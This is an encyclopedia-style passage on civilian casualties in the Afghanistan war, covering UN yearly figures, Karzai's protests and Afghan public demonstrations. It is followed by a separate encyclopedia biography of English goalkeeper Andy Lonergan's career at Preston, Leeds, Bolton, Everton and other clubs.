According to the UN Assistance Mission in Afghanistan (UNAMA) and the Afghanistan Independent Human Rights Commission (AIHRC), 2,777 Afghan civilians were killed in the war in 2010, a jump of 15% over the civilian toll in 2009. Of these, UNAMA/AIHRC attributed 2,080 civilian deaths to insurgents and anti-government elements, representing 74.9% of the 2,777 Afghan civilian deaths they recorded in the war in 2010, and up 28% from 2009. 1,141 or 55% of these deaths were caused by suicide attacks and improvised explosive devices.
UNAMA/AIHRC attributed 440 (15.9%) of the 2,777 Afghan civilian deaths they recorded for 2010 to U.S.-led military forces, a reduction of 26% from 2009. Of the coalition caused casualties, Airstrikes caused 171, or 39% of these deaths.
In 9% of the civilian deaths, UNAMA/AIHRC were unable to clearly attribute the cause to any one side.
In addition to the civilian deaths, a total of 4,343 civilians were documented by UNAMA/AIHRC to have been wounded in the war in 2010, a jump of 22% from 2009.
Civilian and overall casualties (2011)
In the first half of 2011, the U.S.-led war in Afghanistan again brought yet higher numbers of civilian deaths as violence intensified and security spiralled downward. According to UNAMA/AIHRC figures, 1,462 Afghan civilians were killed in the first six months of 2011, another 15% jump over the same period in 2010. UNAMA/AIHRC attributed 1,167 (79.8%) of those deaths as having been caused by insurgents and anti-government elements, up 28% from the same period in 2010. UNAMA/AIHRC attributed 207 Afghan civilian deaths as having been caused by U.S.-led military forces, down 9% from the same period in 2010 and representing 14.2% of the civilian deaths. In 6% of the civilian deaths, UNAMA and AIHRC were unable to clearly attribute the cause to any one side.
For the whole year of 2011, the United Nations reported that the civilian death toll numbered 3,021, a record high. In addition, 4,507 Afghans were wounded.
The use of improvised explosive devices increased, with an average of 23 roadside bombs a day which were detonated, discovered, or defused. Suicide attacks also became more complex and sophisticated, targeted killings intensified, ground fighting increased, and civilian deaths from airstrikes also increased.
Civilian and overall casualties (2012)
A 2012 report by the UN Assistance Mission in Afghanistan noted that the number of Afghan civilians killed or injured in 2012 decreased for the first time since the United Nations began keeping track of such figures. 2,769 civilian deaths and 4,821 injuries were reported in 2012.
Civilian and overall casualties (2013)
The UN recorded 2,969 civilian deaths and 5,669 injuries in 2013.
Civilian and overall casualties (2014)
International aid workers in 2014 were still being targeted in addition to the general population of the country. This was brought home by the death of two Finnish aid workers, who were shot and killed while in a taxi by two gunmen on motorbikes, on 24 July 2014. Overall, according to the UN, 3,710 civilians were killed and 6,825 were wounded in 2014, yet another record high.
Civilian and overall casualties (2015)
The UN estimates that 3,545 civilians were killed and 7,457 injured in 2015.
Civilian and overall casualties (2016)
The UN estimates that in 2016 3,498 civilians were killed and 7,920 were wounded in Afghanistan.
Civilian and overall casualties (2017)
The UN estimates that 1,662 civilians were killed from January through June 2017. The ISIL attacked a hospital and killed over 50 patients and staff. A German female aid worker was killed, her Afghan guard beheaded and a Finnish female aid worker kidnapped in May (most likely by ISIL).
Civilian and overall casualties (2018)
By the end of August, five US troops were killed in the war. The US has around 15,000 troops in Afghanistan. According to Uppsala Conflict Data Program the total number of deaths including civilians and combatants, will surpass 20,000 by the end of 2018.
In a single month of October 2018, Up to 273 Afghan civilians were killed and 550 others injured in separate incidents.
On 28 December 2018 a report issued by UNICEF revealed that during the first nine months of 2018, five thousand children were killed or injured in Afghanistan. Manuel Fontaine UNICEF Director of Emergency Programs said the world has forgotten children living in conflict zones.
Afghan protestation of civilian deaths caused by international forces
Afghan President Hamid Karzai's repeated pleas to the foreign military forces
From 2002, Afghan President Hamid Karzai repeatedly pleaded with the foreign military forces in his country to avoid killing Afghan civilians in their operations.
In July 2002, following a US bombing raid in which Afghan officials say 44 people were killed, including many celebrating a wedding and many children, the Afghan president protested to the U.S. military authorities, and urged them to be more careful in their targeting to prevent any more civilian deaths. U.S. President George W. Bush offered his condolences.
(Senior Afghan officials were furious that it took five days before President Bush telephoned Mr. Karzai to offer sympathy and that Donald Rumsfeld, the US Defense Secretary, had expressed no remorse or apology.)
In December 2006, a tearful President Hamid Karzai lamented that Afghan children were being maimed and killed by NATO and U.S. bombs and by terrorism. In a heartfelt speech that brought audience members to tears, Karzai said the cruelty imposed on his people "is too much" and that Afghanistan cannot stop "the coalition from killing our children".
In May 2007, after heavy aerial bombing by the US military had recently killed 40 to 60 Afghan civilians, including women and children, wounded about 50 more, and destroyed some 100 houses, President Hamid Karzai summoned top foreign generals and diplomats to his palace to reiterate years of complaints over blameless deaths. At a news conference afterward, he said that Afghan lives should be valued too, and the Afghan people could no longer tolerate such casualties:
In June 2007, after the deaths of more than 90 civilians in 10 days, President Hamid Karzai accused ISAF and the US-led military coalition in his country of "extreme" and "disproportionate" use of force. In his protestations, the Afghan president said that the foreign military forces in his country had to start working in accordance with his government's wishes.
On October 28, 2007, in an interview on 60 Minutes, Afghan President Hamid Karzai stated that he had explicitly asked U.S. President George W. Bush to roll back the use of airstrikes – which had killed more than 270 civilians in 17 air strikes to date in 2007 alone – in his country, saying that he had delivered the message privately to Bush using "clear words" in August.
On December 18, 2008, Afghan President Hamid Karzai again spoke of asking the United States to cooperate with his government in their military operations in his country. In a speech, he said that in the previous month he had again asked that the U.S. military in his country cooperate with his government, sending the U.S. government a list of demands about troop conduct, but did not say if he had received any response back.
In March 2011, Karzai rejected apologies from President Obama and Gen. David Petraeus for U.S. helicopter gunners killing 9 Afghan boys ages 7–13 who were collecting firewood. "The apology is not enough," Karzai said. "Civilian casualties produced by the military operations of coalition forces are the cause of tension in relations between Afghanistan and the United States of America. The people of Afghanistan are fed up from these brutal incidents and apologies and condemnation cannot cure their pain." In response to the deaths of the boys, Petraeus ordered all field commanders and helicopter crews to again study their rules of engagement. One source claims more than 200 civilians killed in military operations and insurgent attacks in "recent weeks".
In May 2011, Karzai issued a "final warning" as more civilians were killed in NATO airstrikes. He said the Afghan people can no longer tolerate the attacks, and that the U.S.-led coalition risks being seen as an "occupying force".
Afghan public protests over civilian deaths
On July 4, 2002, in the first anti-American protest since the overthrow of the Taliban, about 200 Afghans marched through the streets of Kabul to express their outrage over attacks by U.S. forces which killed scores of civilians, including many children and 25 members of one family. According to Afghan Foreign Minister Abdullah, 44 people were killed and 120 wounded in the U.S. attacks on about a half dozen villages in Uruzgan province, which villagers said included an attack on a pre-wedding party.
On May 29, 2006, large-scale rioting, fueled by anti-U.S. anger, swept through Afghanistan's capital, Kabul, after a U.S. military truck crashed into a crowd of Afghan pedestrians. Afghan President Hamid Karzai's office said five people were killed in the vehicle crash. The U.S. military, in a statement issued earlier, had said at least one person was killed in the crash and six wounded, two of them critically. Afghan officials called it the worst day of rioting in Kabul since the overthrow of the Taliban regime. At least 8 people were killed and 109 wounded in the widespread anti-U.S. protests through the capital. Video from one rioting site after the crash showed a U.S. military vehicle firing in the direction of a crowd of Afghans. Dozens of protesters outside the U.S. Embassy screamed "Death to Americans!" while embassy personnel retreated to bunkers. "We want America out of this country! We hate America! They have no responsibility!" said protester Ajmal Jan.
On April 30, 2007, thousands of Afghans staged a protest accusing United States-led coalition and Afghan troops of killing civilians in the western province of Herat. The protesters stormed a government district headquarters in Shindand, south of Herat city, where Western troops have a large base. The anti-U.S. protest came a day after an angry demonstration in eastern Nangahar province over the killing of civilians by coalition and Afghan forces there.
On May 2, 2007, about 500 Afghan university students protested in the eastern province of Nangarhar alleging six civilians had been killed by U.S.-led coalition troops a few days before. On that same day, Afghan and UN teams announced that their investigations had found that around 50 civilians were killed in days of ground fighting and bombing in a remote valley in the western province of Herat.
On September 26, 2007, following a raid by foreign troops that left two religious leaders dead, about 500 Afghan protesters shut down the main highway out of Kandahar city with some chanting "Death to Canada" and "Death to foreigners" and calling on foreign troops to leave their country. The protesters accused American and Canadian soldiers of killing the two religious leaders during night raids on houses in Senjaray, a community on the outskirts of Kandahar city. Anger was also directed at Afghan President Hamid Karzai for allowing the foreign military presence in their country.
On August 23, 2008, about 250 Afghan villagers gathered in angry demonstration to protest the deaths of 76 civilians, most of them children, killed in U.S.-led airstrikes near the village of Azizabad, about 120 kilometres south of Herat city in western Afghanistan.
On September 1, 2008, hundreds of citizens in the Afghan capital Kabul rushed into the streets and burnt tires on the Kabul-Jalalabad highway protesting the killing of three members of a Kabuli family, including two children, by U.S.-led troops. Residents said the U.S.-led troops, carrying out a pre-dawn raid in Hud Kheil area in the eastern quarter of Kabul, threw hand grenades into a house, killing Noorullah and two of his sons, one of whom was eight months old. Their deaths were the latest in a string of incidents that have angered Afghans and caused a split between the Afghan government and foreign troops.
On October 16, 2008, protests by crowds against the presence of NATO forces and the Afghan government took place in Lashkar Gah, capital city of Helmand province, after a NATO airstrike killed as many as 18 women and children.
On December 26, 2008, a crowd of hundreds of Afghans protested in Maywand District in Kandahar province following overnight raids by U.S. military forces, claiming that innocent people were killed in the attack. Local villagers, angered by the military raids, blocked the main highway for three hours and burned tires.
On March 7, 2009, hundreds of Afghan demonstrators in eastern Afghanistan blocked the path of a U.S. military convoy to condemn an early morning raid in Khost province that killed four people and wounded two. Tahir Khan Sabari, the deputy governor of the province, said the four people killed were civilians, but the U.S. military claimed they were militants. Demonstrators in Khost city threw rocks at the American military convoy, shouted "Death to America", and burned tires, sending up dark plumes of smoke.
On May 7, 2009, thousands of Afghan villagers shouting "Death to America" and "Death to the Government" protested in Farah city over US bomber air strikes on May 4 that killed 147 civilians. Clashes with police started when people from the three villages struck by US B1-bombers brought 15 newly discovered bodies in a truck to the house of the provincial governor. Four protesters were wounded when police opened fire. Going by the account of survivors, the air raid was not a brief attack by several aircraft acting on mistaken intelligence, but a sustained bombardment in which three villages were pounded to pieces. An Afghan government investigation concluded on May 16, 2009, with the Afghan Defense Ministry announcing an official death toll of 140 villagers. A copy of the government's list of the names and ages of each of the 140 dead showed that 93 of those killed were children, and only 22 were adult males.
On December 9, 2009, some 5,000 Afghan villagers marched in protest over the killing of civilians in a pre-dawn attack by U.S. troops in Armul village, Laghman province in eastern Afghanistan. President Hamid Karzai's office said the attack had killed 6 civilians, including one woman, while NATO denied that any civilians had been killed in its military attack. A Reuters journalist, on the other hand, saw the bodies of a woman and 12 males, including two teenagers, and the top Laghman provincial council leader said that 13 civilians had been killed. The protesters were chanting slogans against the foreign troops in their country, as well as against Afghan president Hamid Karzai and the provincial governor, when Afghan troops opened fire on them. Four protesters were hit by bullets, two dying instantly and two were taken to a hospital, where residents said they died of their wounds.
On December 30, 2009, protesters in Jalalabad set alight a US flag and an effigy of President Obama after chanting "Death to Obama" and "Death to foreign forces". In Kabul, protesters held up banners showing photographs of dead children alongside placards demanding "Foreign troops leave Afghanistan" and "Stop killing us". This was in response to reports that U.S.-led forces had shot 10 villagers in their home, including 8 children, during a raid in the Ghazi Khan village in Narang district of the eastern province of Kunar.
On January 21, 2010, angry Afghan villagers took to the streets in Ghazni province to protest the deaths of civilians they claimed were killed in a raid by NATO troops. NATO's International Security Assistance Force (ISAF) claimed it had killed four insurgents including a 15-year-old boy during their raid in the Qarabagh District of Ghazni province the previous night. But 50 villagers brought five coffins to the provincial capital Ghazni city, claiming that three of the dead were civilians, including two children below the age of seven. The head of the provincial hospital where the bodies were initially taken said that his doctors told him that two children were among the bodies brought to them.
On January 28, 2010, angry demonstrations took place outside Camp Phoenix, a U.S. military base on the outskirts of Kabul, after NATO troops killed an Afghan religious leader who had been sitting in a parked car with his two young sons while waiting for a NATO ISAF convoy to pass by. According to witnesses, the fourth ISAF vehicle in the convoy opened fire on the parked car without provocation. At least 16 bullet holes were later counted on the car's exterior and Mullah Mohmmad Younas was killed by three bullets in his chest and one in his abdomen. ISAF confirmed the shooting of a civilian, offered sympathies, and said it was investigating.
Afghan protests over Taliban killings
After the Taliban's killing of 26 young men on 19 October 2008, in southern Kandahar Province in a militant-controlled area – unclear is whether the victims were Afghan government soldiers or recruits or mere civilians looking for work in Iran – the following Friday, 1,000 people in Mihtarlam in northeastern Laghman Province, where most of those killed came from, protested against those Taliban killings.
Civilian casualties by insurgent forces
In 2006, according to Human Rights Watch, 669 Afghan civilians were killed in armed attacks by anti-government forces, primarily Taliban and Hezbi Islami.
In all 2008 until October, 29 aid workers, 5 of whom non-Afghanis, were killed in Afghanistan.
In 2008–2009, according to The Christian Science Monitor, 16 improvised explosive devices were planted in girls' schools in Afghanistan, but there is no certainty who did that.
According to the United Nations, anti-government elements were responsible for 76% of civilian casualties in Afghanistan in 2009, 75% in 2010 and 80% in 2011.
In considering civilian casualties caused collectively by insurgent forces, the armed insurgency in Afghanistan against the government and foreign military forces is composed of many diverse individuals and groups that are motivated by a range of different goals and ideologies, that do not necessarily identify as "Taliban", and that do not act under a single line of authority.
Non-Afghan civilian casualties
In August 2008, three Western women (British, Canadian, American) working for aid group International Rescue Committee were murdered in Kabul. Taliban claimed to have killed them because they were foreign spies. In October 2008, British charity worker Gayle Williams working for Christian UK charity 'Serve Afghanistan' – focusing on training and education for disabled persons – was murdered near Kabul. Taliban claimed they killed her because her organisation "was preaching Christianity in Afghanistan".
Disputed case
At Sunday, 19 October 2008, in southern Kandahar Province in a militant-controlled area, Taliban stopped a bus and killed 26 young male passengers of the bus, who they claimed were members of the Afghan security forces. Afghan officials later claimed those victims were not soldiers but innocent civilians from northern Laghman Province, on their way to Iran to find work.
International protests against US and allies causing deaths
The deaths of thousands of Afghan civilians caused directly and indirectly by the U.S. and NATO bombing campaigns have been a major underlying focus of protests against the war in Afghanistan since 2001.
Protests around the world, starting with large-scale global demonstrations in the days leading up to the official launch of U.S. Operation Enduring Freedom's under George W. Bush and Donald Rumsfeld in October 2001, have taken place every year since.
See also
Casualty recording
Azizabad airstrike
British forces casualties in Afghanistan
Bagram torture and prisoner abuse
Canadian Afghan detainee abuse scandal
Canadian Forces casualties in Afghanistan
Casualties of the Iraq War
Chenagai airstrike
Coalition casualties in Afghanistan
Criticism of the War on Terrorism
Granai Incident
International public opinion on the war in Afghanistan
2009 Kunduz airstrike
Protests against the invasion of Afghanistan
References
External links
Rethink Afghanistan – Part 4: Civilian Casualties 12 min. section of the full documentary film Rethink Afghanistan available online
Afghanistan Under the US "War on Terror" photo gallery from RAWA, an Afghan women's association
After First Denying Involvement, US Forces Admit Killing Two Pregnant Afghan Women & Teenager – video report by Democracy Now!
The Afghan Victim Memorial Project database and photos
"War Against Terrorism" in Afghanistan
Casualties in Afghanistan & Iraq
War Report Afghan Archives – Civilian Casualties
Casualty Monitor: Monitoring and analysis of data on civilian and British military casualties in Afghanistan and Iraq
The Worsening Situation in Afghanistan
The Reality Page
George W. Bush administration controversies
Civilians killed in the War on Terror
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https://en.wikipedia.org/wiki/Andy%20Lonergan
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Andy Lonergan
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Andrew Michael Lonergan (born 19 October 1983) is an English professional footballer who plays as a goalkeeper for Premier League club Everton.
Lonergan is a former England U21 international and is also eligible to play for the Republic of Ireland. After starting his career at Preston North End, Lonergan soon established himself as a first-choice goalkeeper and won Preston's player of the year award in both the 2008–09 and 2009–10 seasons.
Career
Preston North End
Born in Preston, Lancashire, Lonergan grew up supporting Preston North End. Lonergan joined Blackburn Rovers' academy after spotted at a young age, beating off competition at Manchester United and Everton. His time at Blackburn Rovers was short–lived when he joined Preston North End, where he started his professional career there. At age nine, Lonergan began taking interest in becoming a goalkeeper, a position he plays today.
After attending St. Cecilia's RC Technology College (now St. Cecilia's RC High School), Lonergan progressed through the Youth Training Scheme and was offered a professional terms by Preston North End in the 2000–01 season. Lonergan then made his Preston debut managed by David Moyes as a 16-year-old in a League Cup tie away at Coventry City. However, Lonergan made an impression on his debut despite conceding four goals, as Preston North End lost 4–1. Despite this, Lonergan went on to win the Young Player of the Year for the 2000–01 season.
With his progress being closely monitored by the goalkeeping coach, Peter Williams, he was sent out on loan to Darlington on 21 December 2002. After making his debut against Macclesfield Town on 21 December 2002 However, Lonergan's loan spell at Darlington ended after a week after picking up an injury. After recovering from an injury, Preston then sent him out on loan to rivals Blackpool.
With David Moyes leaving to join Everton and Craig Brown entering the managerial fray at Deepdale, Lonergan remained optimistic about his future at the club; indeed, he was promoted to the first-team squad for the final stage of the 2002–03 season as an understudy to Scotland international Jonathan Gould. With Gould out injured for a period of the following season, Lonergan snapped up his goalkeeping gloves and stood between the sticks for the first time in the league against West Brom, two years after his debut. Gould fell out of favour soon after, and Lonergan remained as the first choice until the end of that season. But this was short–lived when Lonergan lost his first team place after breaking his hand, resulting in him being out for six weeks and missing out for the rest of the season. After returning to training in the pre–season, Lonergan returned to the first team as first choice goalkeeper and on 2 October 2004 he scored a goal from his own penalty area in the 39th minute against Leicester City to equalise. His long kick bounced over Leicester goalkeeper Kevin Pressman after defender Matt Heath had let the ball bounce. The game ended in a 1–1 draw. He remained at Deepdale for the 2004–05 season under the watchful eye of new manager Billy Davies, and played a part in 65% of the season before he ruptured his cruciate ligaments before a game against Ipswich Town, due to Lonergan's injury, Carlo Nash was signed as a replacement by Billy Davies from Middlesbrough to shore up the goalkeeping crisis. It wasn't the first time Lonergan suffered an injury: he broke his hand during training.
After a long spell out injured with the injury it took Lonergan over two years to gain back his place. Nash kept his place for the 2005–06 term and kept a club record of over 30 clean sheets. Lonergan himself was injured in training early in 2005, and returned to training in early–September. As a result, Lonergan only returned to action with a loan spell to get himself match fit in late 2005 at Wycombe Wanderers. Lonergan made his Wycombe Wanderers debut on 7 October 2005, where he kept a clean sheet, in a 1–0 win over Grimsby Town and kept another clean sheet on his second appearance on 15 October 2005, in a 0–0 draw against Rushden & Diamonds. However, he returned to his parent club after injuring himself in training once again, due to a screw holding his ligament in place snapping. After returning to his parent club, Lonergan undergone surgery for the second time and was sidelined for eight months.
On 2 November 2006, Lonergan joined Swindon Town on a one-month loan contract to gain first-team football. He made his Swindon Town debut on 4 November 2006, in a 2–1 loss against Hereford United and was praised after the match. He returned early, however, after he wasn't given the football he desired under new Swindon Manager Paul Sturrock who had just replaced Dennis Wise.
After signing a three–year contract, keeping him until 2011, Lonergan returned to the Preston bench until January 2007, when Nash's unprofessional attitude meant a recall to the first team for Lonergan in an FA Cup Fourth round tie at Crystal Palace in which he impressed with a clean sheet in a 2–0 victory for Preston. Lonergan then made an impressive save in the local derby, in a 2–0 win over Burnley on 19 March 2007. Longeran went on to established himself as a first choice goalkeeper in the 2006–07 season and made thirteen appearances for the club.
In the 2007–08 season, Lonergan appeared as a substitute for the first three matches at the start of the season after Wayne Henderson became a first choice goalkeeper. Lonergan regained his first choice back following Henderson's injury and made his first appearance of the season, in a 2–1 loss against Coventry City on 1 September 2007. From that moment on, Lonergan made 43 appearances in the 2007–08 season and helped the club finish 15th in the Championship.
In the 2008–09 season, Lonergan continued to regain his first-choice goalkeeper status and played all 46 league matches throughout the season. Lonergan also helped the club finish sixth place in the league, qualifying for the Championship play–offs, but were unsuccessful. For his performance, Lonergan won Preston's 2008/09 player of the year award.
After Preston North End club captain, Paul McKenna was sold to Nottingham Forest in August 2009, Lonergan was made a vice-captain to new club captain, Callum Davidson. Lonergan's first match which he started as captain was at Deepdale, where he led Preston North End out to win 2–0 against Swansea City on 12 September 2009. Manager, Alan Irvine claimed that he believed Lonergan was good enough to play for England.
He had a fine season during the 2009–10 season, and won Preston's player of the year award. During the last few games of the season Preston managed to overcome an inferior goal difference to playoff rivals Cardiff City by beating them 6–0, with Lonergan also saving a penalty from Ross McCormack in the same game which in the end proved vital on goal difference for the final table result to overtake Cardiff and reach the playoffs. Lonergan played a big part in helping Preston reach the playoff Semi-finals during the 2009–10 season but lost over two legs to Sheffield United. During the summer Premier League club West Bromwich Albion had three separate bids rejected for Lonergan, with Preston manager Darren Ferguson claiming he valued Lonergan at £20 million and that he didn't want to sell him.
Lonergan was the goalkeeper for Preston during the 2010–11 season as they were relegated to League One making 29 league starts. In September 2010, Lonergan was charged for making obscene gestures to fierce-rivals Burnley's supporters during Preston's 4–3 loss. Lonergan was fined for the incident and warned of his future conduct. In the same month Lonergan also played in one of the games of the season in Preston's 6–4 win against Leeds United, with Preston coming back to win the game after being 4–1 down. He was linked with moves to Manchester City and Wigan Athletic in the January transfer window. Lonergan claimed in January that he was the most overworked goalkeeper in the Championship. However, during the last quarter of the season under new manager Phil Brown, Lonergan was displaced by Everton loan goalkeeper Iain Turner. Lonergan also spent time training with Everton as part of the loan deal for Turner. Lonergan was linked with a loan move to Blackpool during February on an emergency loan due to injuries to Paul Rachubka and Richard Kingson. Lonergan's last appearance for Preston came in Preston's 2–1 loss against Leeds United on 8 March 2011. After relegation from the Championship Lonergan was linked with moves to Cardiff City, and Everton. Manager, Phil Brown revealed he needed to sell Lonergan to re-sign loan goalkeeper Iain Turner due to lack of funds.
On 4 July 2011, Lonergan was linked with a move to join Leeds United in order to replace Kasper Schmeichel and Shane Higgs who had both left the club. Everton also entered the race to sign Lonergan.
Preston North End manager Phil Brown confirmed in early July 2011 that Andy Lonergan was set to sign for Leeds United, live on Talksport. Sky Sports reported 25 July that Lonergan was set to sign for Leeds United, after the move was originally put on hold for both parties as Leeds became interested in signing David Stockdale and Lonergan was interesting Premier League club Everton. Lonergan's daughter was also in hospital at this time delaying the move further. In total Lonergan made 231 appearances during his career at Preston North End.
Leeds United
On 25 July 2011, Lonergan signed for Leeds United on a three-year contract for an undisclosed fee. He competed with fellow new goalkeeper signing Paul Rachubka for the number one spot left vacant by the departed Kasper Schmeichel. Lonergan was briefly a teammate of then Leeds United manager Simon Grayson during a short loan spell at Blackpool in 2003. Lonergan made his first appearance in a Leeds shirt in the pre-season victory against Newcastle United. Lonergan was given the number 1 shirt for the forthcoming season.
On the opening day of the season, Lonergan made his debut for Leeds in the 3–1 defeat against Southampton. Lonergan received the man of the match award in Leeds' 1–0 loss against Middlesbrough on 14 August. Lonergan started his fourth game of the season against Hull City at Elland Road where he put in another good performance making saves to deny Hull City as Leeds United won 4–1. After some good performances for Leeds in his first couple of months at the club, Lonergan revealed that the move to Leeds had worked out "brilliantly" for him. Lonergan made some crucial saves for Leeds to help earn them a 3–2 victory against Crystal Palace on 10 September. Lonergan saved a penalty from Nicky Maynard on 17 September against Bristol City to help Leeds earn a 2–1 victory. Lonergan got his first clean sheet of the season against Portsmouth on 1 October, with Lonergan again making some crucial saves. After keeping a consecutive clean sheet, Lonergan was substituted in the second half against Doncaster Rovers after fracturing his finger and replaced by Paul Rachubka on 14 October. Lonergan missed the game against Coventry City with the finger injury on 18 October and was replaced by understudy Paul Rachubka. After the game manager Simon Grayson revealed Lonergan had surgery on the finger and would be ruled out for a minimum of six weeks.
After returning from injury, Lonergan was on Leeds' bench against Watford on 10 December, due to the impressive form of loanee Alex McCarthy. With McCarthy ineligible against his parent club Reading on 17 December, Lonergan came back into Leeds starting line-up. Leeds lost the game 1–0, with Lonergan feeling he was culpable for the goal conceded.
Lonergan was revealed as Leeds' new captain on 20 January, replacing the departing captain Jonny Howson, with Patrick Kisnorbo out until the end of the season. Lonergan was replaced as Captain by Robert Snodgrass, who was appointed the new Leeds United captain by new Leeds manager Neil Warnock in his first game in charge against Portsmouth on 25 February. After a string of clean sheets, Lonergan conceded seven goals in a 3–7 loss against Nottingham Forest. Lonergan saved a penalty against Millwall's Darius Henderson in the following game to earn Leeds a crucial 1–0 victory.
After the season finished, Leeds signed Q.P.R. goalkeeper Paddy Kenny to be the new number one at the club. On 12 July, Leeds confirmed that they had rejected a bid for Lonergan from an unnamed club as they deemed the offer 'not acceptable'. With Lonergan losing his first team place, Bolton Wanderers manager Owen Coyle confirmed his interest in signing Lonergan.
Bolton Wanderers
On 17 July 2012, Bolton Wanderers confirmed the signing of Lonergan on a three-year deal for an undisclosed fee. Upon joining the club, Lonergan spoke about the challenge he was expecting to face at Bolton Wanderers.
His debut came on 28 August 2012 in a 2–1 defeat against Crawley Town in the League Cup second round. However, Lonergan found himself competing with Ádám Bogdán over the first choice goalkeeper spot. On 19 October 2012, Lonergan suffered a knee injury, which he sustained in training and was sidelined for two months. Lonergan's first experience in front of the Reebok Stadium crowd was the 2–2 draw between Wanderers and Sunderland in which he was named Man of the Match for Wanderers following appreciation of his contribution following saves from Steven Fletcher on 5 January 2013 and played against them in the FA Cup third round replay on 15 January 2013, where he kept a clean sheet, in a 2–0 win to send them through to the next round. Lonergan's first league game for Bolton came on 5 March 2013, as Bolton beat local rivals Blackburn Rovers by a single goal. Lonergan made four more appearances and kept two more clean sheets before Bogdán returned from injury and went on to make eleven appearances in all competitions.
In the 2013–14 season, Lonergan continued to compete the first choice goalkeeper status with Bogdán, but was given an opportunity to make his first appearance of the season on 26 October 2013, in a 1–1 draw against Ipswich Town following Bogdán's injury. After the match, Lonergan said he was happy to make his first appearance of the season.
From that moment on, Lonergan had become a first choice goalkeeper for the club from October to February. He soon became at fault when he conceded five goals, in a 5–3 loss against Leicester City on 29 December 2013 and was even at fault further when he conceded ten goals in three matches against Reading, Queens Park Rangers and Ipswich Town. Despite being reassured by manager Dougie Freedman that he would remain the first choice goalkeeper, Lonergan lost his first choice goalkeeper status to Bogdán and was on the substitute bench for the rest of the season until returning in goal, in a 2–2 draw against Birmingham City, which helped them survive relegation. Lonergan went on to finish the 2013–14 season, making twenty–three appearances in all competition.
In the 2014–15 season, Lonergan made his first appearance of the season, but conceded three goals, in a 3–0 loss against Watford in the opening game of the season. By the August, the club had rotate both Lonergan and Bogdán over the first choice goalkeeper role before Lonergan won the role and was the first choice goalkeeper for the most of the season, due to Bogdán's injury. On 25 October 2014, Lonergan provided an assist for Craig Davies to score the third goal of the game, in a 3–1 win over Brentford. Throughout December saw Lonergan making an impression, as he kept three clean sheets and won the Bolton Wanderers Player of the Month award for December. Lonergan remained the first choice goalkeeper until he suffered a concussion after in the 65th minute and was substituted as a result, in a 4–1 loss against Nottingham Forest on 21 February 2015 and said the concussion he sustained could have ended his career. Despite being cleared from a serious injury after a scan, Lonergan lost his first choice goalkeeper status role following the arrival of Ben Amos and spent the rest of the season on the substitute bench. Lonergan finished the 2014–15 season, making thirty–two appearances in all competitions.
On 10 June 2015, it was announced that Lonergan would leave the club upon the expiry of his contract. During the match at Bolton Wanderers, Lonergan earned a cult status among Bolton Wanderers supporters and while playing, the supporters would chant for him to the tune of Simon and Garfunkel's Mrs Robinson: "And here's to you Andy Lonergan, Bolton loves you more than you will know..."
Fulham
On 19 June 2015, Lonergan returned to the Championship, signing for Fulham on a two-year deal with a one-year extension option after his release from Bolton Wanderers. He was allocated the number 24 shirt.
Lonergan made his Fulham debut, making his first start, in the opening game of the season, in a 1–1 draw against Cardiff City. After Marcus Bettinelli suffered an injury in a game against Hull City on 20 August 2015 and was stretchered off in the 45th minute, Lonergan came on as a substitute after Marcus Bettinelli collided with Matt Smith and Fulham went on to lose 2–1. In a 2–1 win over Blackburn Rovers on 13 September 2015, Lonergan was named the Man of the Match following a string of impressive saves. He became the first choice goalkeeper for the club until he suffered a hamstring injury, sustained during a 2–1 loss against Bristol City on 31 October 2015, and was out for six weeks. Lonergan made his first team return on 12 December 2015, in a 2–2 draw against Brentford and despite a draw, he was once again named Man of the Match for his impressive display and again for the third time, in a 1–0 loss against Sheffield Wednesday on 4 January 2016. Lonergan remained the first choice goalkeeper until Bettinelli returned from injury and he was placed on the substitute bench for the rest of the season.
Wolverhampton Wanderers
On 9 June 2016, Lonergan joined Wolverhampton Wanderers from Fulham on a two-year deal with a one-year extension option. He was allocated the number 21 shirt.
He made his first ever appearance for the club on 15 July 2016, coming on as a half-time substitute for Carl Ikeme in a 2–0 win over Crewe Alexandra at Gresty Road, assisting Joe Mason for the second goal. Lonergan's first competitive appearance for Wolves came on 9 August, in a 2–1 League Cup First Round win over Crawley Town at Molineux. On 28 January 2017, with Ikeme suspended, Lonergan missed Wanderers' fourth-round FA Cup tie at Liverpool due to injury.
After the emergence of Harry Burgoyne and the signings of goalkeepers Will Norris and John Ruddy, Lonergan was not allocated a squad number for the 2017/18 season, despite Ikeme being out due to illness.
As of September 2023, he is the only player to appear in the Football League for all three clubs with the suffix Wanderers; Wycombe, Bolton and Wolverhampton.
Return to Leeds United
In August 2017, after Leeds released Robert Green, the club re-signed Lonergan on a two-year contract on a free transfer from Wolverhampton Wanderers. He made his second debut for Leeds in a League Cup tie against Premier League side Burnley the following month, with Lonergan proving to be the match winner with a penalty save from James Tarkowski in Leeds' penalty shoot-out victory after a 2–2 draw. A deal was agreed for him to join Sunderland on loan in January 2018, but Lonergan decided to stay at Leeds and fight for his place in the team. That July, after being deemed surplus to requirements by new manager Marcelo Bielsa, Lonergan left Leeds by mutual consent.
Middlesbrough
Lonergan signed a one-year contract with Championship club Middlesbrough in August 2018. In February 2019 he joined League One side Rochdale on an emergency loan, and was released by Middlesbrough at the end of the 2018–19 season.
Liverpool
In July 2019 Lonergan joined Liverpool on their pre-season tour of the US to provide back-up due to a shortage of goalkeepers, starting for Liverpool against Sevilla at Fenway Park, Boston. After an injury to Liverpool's first choice goalkeeper Alisson Becker, Lonergan signed short-term contract with the club in August 2019. He was an unused substitute as Liverpool won the 2019 UEFA Super Cup and the FIFA Club World Cup, and was released by Liverpool at the end of the 2019–20 season.
Stoke City
In December 2020 Lonergan signed a short-term contract with Stoke City to act as cover and competition for Josef Bursik, following injuries to first choice keeper Adam Davies, recent loan signing Angus Gunn, and Niki Mäenpää, who had also recently signed on a short-term deal. He played in a 3–1 EFL Cup quarter final defeat against Tottenham Hotspur on 23 December 2020.
West Bromwich Albion
On 9 January 2021, Lonergan signed a short-term contract with Premier League club West Bromwich Albion.
Everton
On 20 August 2021, Lonergan joined Premier League side Everton on a deal until the end of the season. On 11 July 2022, Lonergan signed a new 1-year deal to keep him at the club until 2023. At the end of the 2023 season Lonergan agreed to extend his stay at Everton for a further season.
International career
Lonergan is eligible to play for England and the Republic of Ireland. In 2000, Lonergan was called up by England U17, but had to withdraw from the squad because at the time, he was studying for his GCSEs. Lonergan revealed that his international commitment to England resulted in him missing out of school a lot.
